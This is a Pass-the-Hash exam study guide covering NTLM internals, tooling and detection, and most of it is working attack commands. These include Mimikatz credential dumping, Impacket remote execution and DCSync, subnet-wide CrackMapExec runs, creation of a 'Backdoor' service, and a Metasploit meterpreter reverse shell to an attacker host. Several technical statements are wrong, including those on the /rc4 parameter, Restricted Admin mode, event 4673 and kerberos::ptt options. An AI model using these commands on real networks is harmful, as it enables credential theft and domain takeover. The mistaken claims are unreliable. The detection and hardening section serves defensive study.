Domain 4PrivEsc & Password AttacksCORE

Pass-the-Hash Attacks

Complete guide to Pass-the-Hash attacks including NTLM authentication internals, PtH workflow, and tool usage with Mimikatz, Impacket, CrackMapExec, and Metasploit for lateral movement without plaintext passwords.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#pass-the-hash#ntlm#lateral-movement#mimikatz#impacket

Pass-the-Hash Attacks

1. Concept — How NTLM Challenge-Response Works Internally

1.1 Why the Hash Is Enough

Pass-the-Hash (PtH) is one of the most powerful techniques in Active Directory post-exploitation. It allows an attacker to authenticate to a remote system using only the NTLM hash of a user account — without ever knowing the plaintext password.

To understand why this works, you need to understand the NTLM authentication protocol at a protocol level.

The NTLM Authentication Three-Message Exchange

NTLM authentication is a challenge-response protocol. It never sends the password (or even the hash) over the network. Instead, it proves knowledge of the password by performing a cryptographic computation.

sequenceDiagram
    participant C as Client
    participant S as Server

    Note over C,S: NTLM Authentication Exchange

    C->>S: 1. Negotiate (LAN Manager Request)
    S-->>C: 2. Challenge (8-byte random nonce)
    C->>S: 3. Response (encrypted challenge)
    S-->>C: Authenticated / Denied

Step-by-step breakdown:

Step Direction Name What Happens
1 Client → Server Negotiate Client announces it wants to use NTLM. Sends client capabilities (encryption types, flags).
2 Server → Client Challenge Server generates an 8-byte random value (nonce) and sends it to the client.
3 Client → Server Response Client computes a response using the NTLM hash and the challenge. Sends response back.
4 Server Verify Server independently computes the expected response using the stored NTLM hash from its database. If the responses match → authentication succeeds.

The Critical Insight

The response computation in Step 3 uses the NTLM hash, not the plaintext password. The server’s verification in Step 4 also uses the NTLM hash from its database.

This means: If you possess the NTLM hash, you can compute the exact same response that the legitimate client would compute. The server cannot tell the difference. You have effectively “passed the hash” as your credential.

┌─────────────────────────────────────────────────────────────┐
│                     Why PtH Works                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Client Response = Encrypt(Challenge, NTLM_Hash)           │
│                                                             │
│  If Attacker has NTLM_Hash → Attacker can compute:         │
│    Fake Response = Encrypt(Challenge, NTLM_Hash)           │
│                                                             │
│  Server sees: Response matches stored hash → AUTHENTICATED  │
│                                                             │
│  The server NEVER needs the plaintext password.             │
│  The attacker NEVER needs the plaintext password.           │
│                                                             │
└─────────────────────────────────────────────────────────────┘

NTLM Hash Structure Refresher

The NTLM hash is an MD4 hash of the password encoded in UTF-16LE (little-endian Unicode):

NTLM_Hash = MD4(UTF16LE(Password))

Key properties:

  • No salt — same password always produces the same hash.
  • MD4 is fast and weak — vulnerable to GPU-based cracking.
  • 16 bytes (32 hex characters) — fixed length regardless of password length.

Example NTLM hash format (from SAM/NTDS.dit extraction):

Administrator:500:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
^            ^   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|            |   LM Hash (often static)       NTLM Hash (the one that matters)
Username     RID

In the -hashes flag used by Impacket tools, the format is LMHASH:NTHASH. When you only have the NTLM hash (which is almost always the case on modern systems), you use :NTLM_HASH with an empty LM portion:

-hashes :5835048ce94ad0564e29a924a03510ef
       ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       | NTLM hash
       Empty LM hash

1.2 Requirements for Pass-the-Hash

Requirement Description
Valid NTLM hash You must have the NTLM hash of an account. Obtained via credential dumping (Mimikatz, secretsdump.py, etc.), NTDS.dit extraction, or SAM database extraction.
Network access You must be able to reach the target system over the network (SMB port 445, RPC port 135, etc.).
Account permissions The account whose hash you have must have permissions on the target system (e.g., local admin, domain admin, or membership in a group with access).
NTLM must be enabled The target must accept NTLM authentication. Some environments enforce Kerberos-only authentication.

1.3 Limitations of Pass-the-Hash

PtH is powerful but not universal. Understanding its limitations is critical for exam scenarios.

Local Logon Requires Plaintext Password

You cannot use PtH for interactive/local logon. When you sit at a Windows machine and log in at the console (logon type 2), Windows needs the plaintext password to:

  1. Create the user’s logon session and security token.
  2. Derive the user’s DPAPI master keys (which are encrypted with a key derived from the plaintext password).
  3. Set up the user’s encrypted desktop, roaming profile, and other password-derived secrets.

The NTLM hash alone cannot derive these values. This is why PtH works for remote/network authentication (SMB, WMI, RDP with NLA) but fails for local interactive logon.

┌──────────────────────────────────────────────────────────┐
│              PtH Works vs. Does NOT Work                 │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  ✓ Remote SMB authentication (psexec, smbexec)          │
│  ✓ Remote WMI execution (wmiexec)                        │
│  ✓ Remote service creation (services.py)                 │
│  ✓ RDP with Network Level Authentication (NLA)           │
│  ✓ Remote registry access                                │
│  ✓ Windows file share access                             │
│                                                          │
│  ✗ Local/Console logon (sitting at the machine)         │
│  ✗ Interactive RDP session (without NLA)                 │
│  ✗ DPAPI decryption                                      │
│  ✗ Systems with Credential Guard enabled                 │
│  ✗ Systems with LSA Protection enabled                   │
│                                                          │
└──────────────────────────────────────────────────────────┘

Credential Guard Impact

Windows Credential Guard (introduced in Windows 10/Server 2016) uses virtualization-based security (VBS) to isolate LSASS memory into a secure, hardware-isolated container called the Virtualization-Based Security (VBS) enclave.

When Credential Guard is enabled:

  • Credentials in LSASS are stored in the isolated enclave.
  • Traditional credential dumping tools (Mimikatz sekurlsa::* commands) cannot access the credential data.
  • The NTLM hashes are not available in regular LSASS memory.
  • Result: You cannot obtain the hash in the first place, breaking the PtH attack chain.

LSA Protection Impact

LSA Protection (RunAsPPL — Protected Process Light) is a Group Policy setting that restricts which processes can access LSASS memory:

Registry: HKLM\SYSTEM\CurrentControlSet\Control\LSA\RunAsPPL
Value: 1 (enabled)

When enabled:

  • Only processes signed by Microsoft and running at the highest integrity level can access LSASS.
  • Mimikatz cannot inject into or dump LSASS memory.
  • Result: Same as Credential Guard — you cannot obtain the hash.

Detection during an engagement:

# Check for Credential Guard
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesRunning

# Check for LSA Protection
reg query HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL

# Check via PowerShell
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\LSA" -Name "RunAsPPL"

1.4 Where Do You Get the Hash?

Before performing PtH, you need the NTLM hash. Common acquisition methods:

Method Tool Scenario
LSASS memory dump Mimikatz sekurlsa::logonpasswords You have admin access to a workstation/server and a user is logged in.
SAM database Mimikatz lsadump::sam You have SYSTEM on a local machine and want local account hashes.
NTDS.dit extraction secretsdump.py -just-dc You have admin access to a Domain Controller.
DCSync Mimikatz lsadump::dcsync or secretsdump.py You have Replicating Directory Changes rights (Domain Admin, Enterprise Admin, or misconfigured ACLs).
Cached credentials Mimikatz Offline domain joined machines store cached domain credentials.
WPAD/proxy configs Manual extraction Some applications store hashes in configuration files.

2. Attack Workflow

2.1 End-to-End PtH Workflow

flowchart TD
    A[Start: Initial Access] --> B{Credential Dumping}
    B -->|LSASS| C[Mimikatz sekurlsa::logonpasswords]
    B -->|SAM| D[Mimikatz lsadump::sam]
    B -->|DC| E[secretsdump.py -just-dc]
    B -->|DCSync| F[lsadump::dcsync]

    C --> G[Extract NTLM Hash]
    D --> G
    E --> G
    F --> G

    G --> H{Target Selection}
    H -->|Single Host| I[Choose PtH Tool]
    H -->|Multiple Hosts| J[CrackMapExec / BloodHound]

    I --> K[Execute PtH Attack]
    J --> K

    K --> L{Success?}
    L -->|Yes| M[Remote Shell / Command Execution]
    L -->|No| N[Hash Invalid or No Permissions]

    M --> O{Privilege Level?}
    O -->|Domain Admin| P[Domain Dominance<br/>DCSync, Golden Ticket, etc.]
    O -->|Local Admin| Q[Continue Lateral Movement<br/>Dump more creds, pivot]
    O -->|Standard User| R[Limited Access<br/>Try other targets]

    N --> S[Try Different Hash or Target]
    S --> K

2.2 Decision Tree: Which Tool to Use?

flowchart TD
    A[You Have an NTLM Hash] --> B{How Many Targets?}

    B -->|One Target| C{What Do You Need?}
    C -->|Interactive Shell| D[psexec.py<br/>Most reliable]
    C -->|Stealth / No File Drop| E[wmiexec.py<br/>No agent on disk]
    C -->|No Service Creation| F[smbexec.py<br/>Uses IPC$ only]
    C -->|Service Management| G[services.py]
    C -->|User Enumeration| H[samrdump.py]

    B -->|Many Targets| I{What's the Goal?}
    I -->|SMB Enum + Command Exec| J[CrackMapExec]
    I -->|Full Post-Exploit| K[CrackMapExec + psexec.py combo]
    I -->|Metasploit Framework| L[exploit/windows/smb/psexec]

    B -->|From Windows Box| M{Mimikatz Available?}
    M -->|Yes| N[sekurlsa::pth<br/>Spawns new process with hash]
    M -->|No| O[Copy hash, use Impacket from Kali]

2.3 Step-by-Step Example: From Hash to Domain Compromise

Scenario: You’ve gained access to a workstation and dumped credentials via Mimikatz. You found a Domain Admin hash.

# Step 1: Dump credentials from compromised workstation
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Output includes:
# * Username    : Administrator
# * Domain      : CORP
# * NTLM        : 5835048ce94ad0564e29a924a03510ef

# Step 2: Use the hash for lateral movement to another machine
# From Kali/Linux with Impacket:
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.20

# Step 3: From the new machine, dump more credentials or escalate
# If Domain Admin, you can now DCSync the entire domain:
secretsdump.py -just-dc -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

3. Tools and Commands

3.1 Mimikatz — sekurlsa::pth

Mimikatz is the most well-known credential manipulation tool. The sekurlsa::pth command injects credentials into the current process and optionally spawns a new process (like cmd.exe or powershell.exe) that runs with those credentials.

Full Syntax

sekurlsa::pth /user:<username> /domain:<domain> [/ntlm:<ntlm_hash>] [/rc4:<aes_key>] [/run:<command>]
Parameter Description Required?
/user: Username to impersonate Yes
/domain: Domain name (use . for local) Yes
/ntlm: NTLM hash (32 hex chars) Yes (for NTLM PtH)
/rc4: AES key (for Kerberos PtT) No (alternative to /ntlm:)
/run: Command to execute in the new session No

Basic Usage — Spawn a Shell with the Hash

# Elevate privileges first
mimikatz # privilege::debug

# Pass-the-Hash and spawn cmd.exe
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:5835048ce94ad0564e29a924a03510ef /run:cmd.exe

# Output:
# * Process 1234 created.
# * Authentication package added.
# * Ticket added.

# You now have a cmd.exe running as CORP\Administrator
# Verify:
C:\> whoami
corp\administrator

Advanced Usage — Execute Specific Commands

# Execute PowerShell with the hash
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:5835048ce94ad0564e29a924a03510ef /run:powershell.exe

# Execute a remote command via PsExec
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:5835048ce94ad0564e29a924a03510ef /run:psexec.py CORP\Administrator@192.168.1.10 cmd.exe

# Local account (use . for domain)
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:5835048ce94ad0564e29a924a03510ef /run:cmd.exe

How Mimikatz PtH Works Internally

When you run sekurlsa::pth, Mimikatz performs the following:

  1. Creates a primary token — Uses LsaLogonUser API with the LsaPackAuthenticationInformation function to create a logon session using the NTLM hash.
  2. Injects the token — The new logon session is added to the current process’s LSA package.
  3. Spawns a new process — If /run: is specified, a new process is created with CreateProcessWithTokenW, using the forged primary token.
  4. The new process — Has a security token as if the user had logged in normally with their password. All subsequent network authentications from this process will use the injected credentials.

Important: The injected credentials exist only in the current process (and any children spawned with /run:). They are not persisted in LSASS. Once the process terminates, the credentials are gone.


3.2 Impacket — The Swiss Army Knife for PtH

Impacket is a Python-based collection of networking and protocol manipulation classes. Its tools are the most commonly used for PtH attacks in OSCP and real engagements.

The -hashes Flag

All Impacket tools that support authentication accept the -hashes flag:

-hashes LMHASH:NTHASH

For NTLM-only authentication (modern systems):

-hashes :5835048ce94ad0564e29a924a03510ef
       ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       | NTLM hash
       Empty LM hash (colon separator still required)

3.2.1 psexec.py — Remote Shell via Service Creation

psexec.py is the most reliable Impacket tool for PtH. It works by:

  1. Connecting to the target via SMB.
  2. Uploading a randomly-named binary (the services.exe binary) to ADMIN$.
  3. Creating a new Windows service that runs this binary.
  4. The binary opens a named pipe back to the attacker.
  5. The attacker gets an interactive shell.
  6. On exit, the service and binary are cleaned up.
# Basic PtH with psexec.py
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

# With both LM and NTLM hashes
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

# With password instead of hash (for comparison)
psexec.py CORP/Administrator:Password123@192.168.1.10

# Specify a specific DC for authentication
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef -dc-ip 192.168.1.5 CORP/Administrator@192.168.1.10

# Use a specific port
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef -port 445 CORP/Administrator@192.168.1.10

Pros: Most reliable, interactive shell, full TTY support. Cons: Uploads a binary to the target, creates a service (detectable), requires ADMIN$ share access.

3.2.2 wmiexec.py — Stealthy Execution via WMI

wmiexec.py uses Windows Management Instrumentation (WMI) to execute commands. It does not upload any files to the target.

# Basic PtH with wmiexec.py
wmiexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

# Execute a single command
wmiexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10 "whoami"

# With domain controller specification
wmiexec.py -hashes :5835048ce94ad0564e29a924a03510ef -dc-ip 192.168.1.5 CORP/Administrator@192.168.1.10

Pros: No file upload, no service creation, stealthier. Cons: Requires WMI access, may be slower, less reliable on some configurations.

3.2.3 smbexec.py — Execution via IPC$ Share

smbexec.py uses the IPC$ (Inter-Process Communication) share to execute commands remotely via svcctl.dll. It does not upload files but does create a service.

# Basic PtH with smbexec.py
smbexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

# Execute a single command
smbexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10 "systeminfo"

Pros: No file upload to ADMIN$, uses IPC$ only. Cons: Creates a service (detectable), less reliable than psexec.py.

3.2.4 services.py — Service Management

services.py allows you to manage Windows services remotely. Useful for post-exploitation and persistence.

# List services
services.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10 -action list

# Create a service
services.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10 -action create -service-name Backdoor -service-displayname "Backdoor Service" -path "C:\Windows\System32\cmd.exe"

# Start a service
services.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10 -action start -service-name Backdoor

# Delete a service
services.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10 -action delete -service-name Backdoor

3.2.5 samrdump.py — Remote SAM User Enumeration

samrdump.py connects to the SAMR (Security Account Manager Remote) protocol to enumerate local user accounts on a target.

# Enumerate local users on a target
samrdump.py -hashes :5835048ce94ad0564e29a924a03510ef CORP@192.168.1.10

# Output example:
# [*] Dumping local user RIDs
# [.] User 'Administrator' (RID: 500) found
# [.] User 'DefaultAccount' (RID: 503) found
# [.] User 'Guest' (RID: 501) found
# [.] User 'c00959097' (RID: 1001) found
# [.] User 'jdoe' (RID: 1002) found

Note: The syntax is CORP@192.168.1.10 (domain@target) rather than CORP/user@192.168.1.10 because SAMR enumeration doesn’t require a specific username — it authenticates as the domain.

Impacket Tool Comparison

Tool File Upload? Service Created? Stealth Reliability Best For
psexec.py Yes (to ADMIN$) Yes Low Highest Interactive shell, most reliable
wmiexec.py No No High Medium Stealthy command execution
smbexec.py No Yes Medium Medium When ADMIN$ is unavailable
services.py No Yes (manual) Medium High Service management, persistence
samrdump.py No No High High User enumeration

3.3 CrackMapExec — SMB Enumeration and Lateral Movement

CrackMapExec (CME) is the premier tool for SMB-based enumeration and lateral movement at scale. It can authenticate using NTLM hashes and interact with multiple targets simultaneously.

3.3.1 SMB Authentication Testing

# Test a single hash against a single target
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef

# Test against a subnet
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef

# With domain specification
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -d CORP

# Test multiple hashes from a file
crackmapexec smb 192.168.1.10 -u Administrator -H hashes.txt

# Output file for results
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --output-file results.txt

3.3.2 Command Execution

# Execute a single command
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -x "whoami"

# Execute multiple commands
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -x "ipconfig" -x "net user" -x "systeminfo"

# Get an interactive shell (spawns a reverse shell or uses psexec)
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -X

# Execute against multiple targets
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -x "whoami"

3.3.3 SMB Enumeration Modules

# Get OS information
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --shares

# Enumerate shares
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --shares

# Check for admin access
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --local-auth

# Enumerate users
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --users

# Check password policy
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --pass-pol

# Get sessions
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --sessions

# Check for signed sessions
crackmapexec smb 192.168.1.10 -u Administrator -H 5835048ce94ad0564e29a924a03510ef --signing

3.3.4 Using CME with Credential Files

# Using a loot file (user:hash format)
crackmapexec smb 192.168.1.0/24 -u users.txt -H hashes.txt

# Using a combined credential file (domain/user:hash)
crackmapexec smb 192.168.1.0/24 -C creds.txt

# From secretsdump output
crackmapexec smb 192.168.1.0/24 -u .\\Administrator -H 5835048ce94ad0564e29a924a03510ef

3.4 Metasploit — exploit/windows/smb/psexec

Metasploit’s psexec module supports hash-based authentication. While less commonly used than Impacket for PtH (due to Impacket’s simplicity), it integrates well with the Metasploit framework’s post-exploitation modules.

Module Configuration

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > show options

# Required options:
#   Name         Current Setting   Description
#   ----         ---------------   -----------
#   RHOSTS                        The target host(s)
#   SMBPASS                       NTLM hash for authentication
#   SMBUSER                       Username for authentication
#   SMBDomain       CORP          Windows domain to use

# Set options:
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/psexec) > set SMBUSER Administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS 5835048ce94ad0564e29a924a03510ef
msf6 exploit(windows/smb/psexec) > set SMBDomain CORP

# Exploit:
msf6 exploit(windows/smb/psexec) > exploit

Full Session Example

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(windows/smb/psexec) > set SMBUSER Administrator
SMBUSER => Administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS 5835048ce94ad0564e29a924a03510ef
SMBPASS => 5835048ce94ad0564e29a924a03510ef
msf6 exploit(windows/smb/psexec) > set SMBDomain CORP
SMBDomain => CORP
msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf6 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444
[*] 192.168.1.10:445 - Connecting to the server
[*] 192.168.1.10:445 - Authenticating to 192.168.1.10...
[*] 192.168.1.10:445 - Uploading payload...
[*] 192.168.1.10:445 - Created \xwMnqKzS.exe...
[*] 192.168.1.10:445 - Running \xwMnqKzS.exe...
[*] Sending stage (3020774 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:49152)

meterpreter > getuid
Server username: CORP\Administrator
meterpreter > sysinfo
Computer: TARGET1.CORP.LOCAL
OS: Windows 10 (10.0 Build 19044)

Pros: Meterpreter session with rich post-exploitation modules. Cons: More noisy, uploads payload, slower than Impacket, requires Metasploit setup.


3.5 Tool Selection Quick Reference

Scenario Best Tool Command
Quick shell on single host psexec.py psexec.py -hashes :HASH DOMAIN/user@target
Stealthy command execution wmiexec.py wmiexec.py -hashes :HASH DOMAIN/user@target "cmd"
Multi-host enumeration CrackMapExec crackmapexec smb subnet -u user -H HASH
Multi-host command exec CrackMapExec crackmapexec smb subnet -u user -H HASH -x "cmd"
From Windows box Mimikatz sekurlsa::pth /user:U /domain:D /ntlm:H /run:cmd.exe
Meterpreter needed Metasploit use exploit/windows/smb/psexec
User enumeration samrdump.py samrdump.py -hashes :HASH DOMAIN@target
Service management services.py services.py -hashes :HASH DOMAIN/user@target

4. Defense and Detection

4.1 Preventive Controls

Credential Guard (Virtualization-Based Security)

Credential Guard is the most effective defense against PtH because it prevents the initial hash acquisition.

Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Device Guard
→ "Turn On Virtualization Based Security" → Enabled

Enable via PowerShell:
Enable-WindowsOptionalFeature -Online -FeatureName VirtualizationBasedSecurity -NoRestart

How it works:

  • Uses hardware virtualization (VT-x/AMD-V) to create an isolated memory region.
  • LSASS credentials are stored in this isolated region (the VBS enclave).
  • Even with SYSTEM privileges, you cannot read the credential data from normal memory.
  • Mimikatz sekurlsa::* commands return empty results.

LSA Protection (RunAsPPL)

Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Logon
→ "Run the Logon Process as a protected process" → Enabled

Enable via Registry:
HKLM\SYSTEM\CurrentControlSet\Control\LSA\RunAsPPL = 1 (DWORD)

How it works:

  • Marks LSASS as a Protected Process Light (PPL).
  • Only processes with the correct protection level and Microsoft signature can access LSASS memory.
  • Mimikatz cannot inject into LSASS.

Network Level Authentication (NLA) for RDP

NLA requires authentication before the RDP session is established. While NLA itself does not prevent PtH (in fact, PtH works with NLA), it prevents:

  • RDP brute force attacks (no session is created for failed attempts).
  • Certain RDP-based attacks that require an active session.
Enable via Group Policy:
Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services
→ Remote Desktop Session Host → Security
→ "Require user authentication for remote connections by using Network Level Authentication" → Enabled

Restricted Admin Mode and Remote Credential Guard

Restricted Admin Mode (Windows 8.1/Server 2012 R2+):

  • Prevents PtH over RDP even if the attacker has the hash.
  • The credentials are not passed to the remote session.
Enable via Registry:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin = 0

Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Credential Delegation
→ "Configure authN wrapping" → Enabled

Remote Credential Guard (Windows 10/Server 2016+):

  • Uses Kerberos instead of NTLM for RDP authentication.
  • Completely eliminates PtH over RDP.
Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Credential Delegation
→ "Remote credential guard" → Enabled

4.2 Detection — Event IDs and SIEM Alerting

Critical Event IDs for PtH Detection

Event ID Description PtH Indicator
4624 An account was successfully logged on Logon Type 3 (Network) with NTLM is the primary PtH indicator. Also watch Logon Type 10 (RDP).
4625 An account failed to log on Failed PtH attempts before success.
4768 A Kerberos TGT was requested Unusual TGT requests may indicate PtT (related technique).
4769 A Kerberos service ticket was requested Monitor for unusual service ticket patterns.
4648 A logon was attempted using explicit credentials Mimikatz sekurlsa::pth generates this event.
4672 Special privileges assigned to new logon Admin logon after PtH.
4673 A mandatory integrity control level was assigned Process integrity changes.
4688 A new process was created New processes spawned after PtH authentication.

Event ID 4624 — The Key Indicator

The Logon Type field in Event 4624 is the most important discriminator:

Logon Type Name Description PtH Relevance
2 Interactive User logged on at console Not PtH
3 Network Network resource access (SMB, file share) Primary PtH indicator
4 Batch Scheduled task Low relevance
5 Service Service logon Low relevance
7 Unlock Workstation unlock Not PtH
8 NetworkCleartext Network with clear-text credentials Not PtH (uses plaintext)
9 NewCredentials Delegation scenario Low relevance
10 RemoteInteractive RDP session PtH over RDP indicator
11 CachedInteractive Cached credentials logon Not PtH

SIEM Alert Rule Example (Splunk SPL):

index=windows EventCode=4624 Logon_Type=3
| search Authentication_Package="NTLM"
| stats count values(Source_IP) as source_ips values(Target_User) as target_users by _time
| where count > 5
| table _time, count, source_ips, target_users

SIEM Alert Rule Example (Sigma format):

title: Pass-the-Hash Detection via NTLM Network Logons
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects multiple NTLM network logons (Type 3) which may indicate Pass-the-Hash
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    AuthenticationPackage: NTLM
  condition: selection
level: high

Behavioral Indicators for PtH

Indicator Description
Lateral movement pattern Same account authenticating to many hosts in short time via NTLM (Logon Type 3).
Off-hours authentication NTLM network logons outside business hours.
New source IP Account authenticating from an IP that has never authenticated before.
Admin account over SMB Domain Admin or Enterprise Admin authenticating via NTLM to non-DC hosts.
Event 4648 followed by 4624 Explicit credential logon (Mimikatz) followed by network logon.

5. Pass-the-Hash vs. Pass-the-Ticket

Both PtH and Pass-the-Ticket (PtT) are credential replay attacks, but they target different authentication protocols.

5.1 Comparison Table

Feature Pass-the-Hash (PtH) Pass-the-Ticket (PtT)
Protocol NTLM Kerberos
Credential Used NTLM hash (16 bytes) Kerberos ticket (TGT or TGS)
Ticket Format N/A — computes response on the fly .kirbi (Mimikatz) or .ccache (KRB5CCNAME)
Authentication Type Challenge-response Ticket presentation
Local Logon ❌ Cannot do local logon ✅ Can do local logon (with TGT)
RDP ✅ Works with NLA ✅ Works (better — supports full session)
Credential Guard ❌ Blocked (cannot dump hash) ⚠️ Partially blocked (tickets may still be accessible)
LSA Protection ❌ Blocked ⚠️ Partially blocked
Tools Mimikatz sekurlsa::pth, Impacket -hashes, CrackMapExec -H Mimikatz kerberos::ptt, Rubeus ptt, Impacket -k
Detection Event 4624 Logon Type 3, NTLM auth package Event 4624 Kerberos auth package, Event 4768/4769
Network Visibility NTLM traffic on port 445 Kerberos traffic on port 88
Domain Required Can work on workgroups (local accounts) Requires Active Directory domain
Over Internet Possible (if SMB exposed) Possible (if Kerberos reachable)
Golden Ticket N/A ✅ Can forge TGT with krbtgt hash
Silver Ticket N/A ✅ Can forge TGS with service account hash

5.2 When to Use Each

Scenario Preferred Technique Why
You have NTLM hash, no domain PtH Only option — Kerberos requires domain.
You have NTLM hash, in a domain Either PtH is simpler; PtT is more versatile.
You have krbtgt hash PtT (Golden Ticket) Only PtT can forge a TGT.
You need RDP access PtT PtT gives full interactive session; PtH works with NLA but is limited.
Credential Guard is enabled PtT Tickets may still be accessible even if hashes are not.
You have a service account hash PtT (Silver Ticket) Forge TGS for specific service.
Quick lateral movement PtH Simpler tooling, faster execution.

5.3 PtT Commands for Reference

# Mimikatz — inject a TGT
mimikatz # kerberos::ptt TGT_Administrator@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL.kirbi

# Mimikatz — inject and use
mimikatz # privilege::debug
mimikatz # kerberos::ptt /user:Administrator /domain:CORP /rc4:AES256_KEY

# Rubeus — inject ticket
Rubeus.exe ptt /ticket:base64ticketstring

# Impacket — use Kerberos auth
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -no-pass -k CORP/Administrator@192.168.1.10

# Golden Ticket creation
mimikatz # kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-xxx /krbtgt:HASH /id:500

6. OSCP Exam Tips

6.1 Common Exam Scenarios

Scenario 1: You dumped LSASS on a Windows box and found a Domain Admin hash.

# DON'T try to crack the hash — just use it!
# DON'T try to log on locally with the hash — it won't work!

# DO use Impacket for immediate lateral movement:
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@<DC_IP>

# Or enumerate the entire domain:
crackmapexec smb 10.0.0.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -d CORP

Scenario 2: You have a local admin hash and need to pivot.

# Use the hash to access another machine where this local admin has rights:
psexec.py -hashes :HASH .\\Administrator@192.168.1.20
# Note the ".\\" for local account authentication

Scenario 3: psexec.py fails — try alternatives.

# If psexec.py fails (service creation blocked, ADMIN$ unavailable):
wmiexec.py -hashes :HASH CORP/Administrator@192.168.1.10    # No file drop
smbexec.py -hashes :HASH CORP/Administrator@192.168.1.10    # IPC$ only

6.2 Critical Reminders

# Reminder
1 PtH does NOT work for local/interactive logon. You cannot RDP into a machine using just a hash (unless using NLA, and even then it’s limited).
2 The -hashes flag format is LM:NTLM. If you only have NTLM, use :NTLM_HASH with the leading colon.
3 wmiexec.py is stealthier than psexec.py. No file upload, no service creation. Use when detection is a concern.
4 CrackMapExec is your friend for enumeration. Use it to quickly test which hosts accept your hash before committing to a full attack.
5 Domain Admin hash = domain compromise. If you have a DA hash, you can DCSync, access any machine, and extract all domain hashes.
6 Check for Credential Guard. If sekurlsa::logonpasswords returns nothing, Credential Guard or LSA Protection may be enabled. Pivot to other attack vectors.
7 The hash you need is the NTLM hash, NOT the LM hash. Modern systems disable LM hashes. The NTLM hash is the 32-character hex string after the second colon in SAM/NTDS output.

6.3 Quick Command Reference Card

# ============================================
# PASS-THE-HASH QUICK REFERENCE
# ============================================

# --- Impacket ---
psexec.py    -hashes :NTLM_HASH DOMAIN/user@target
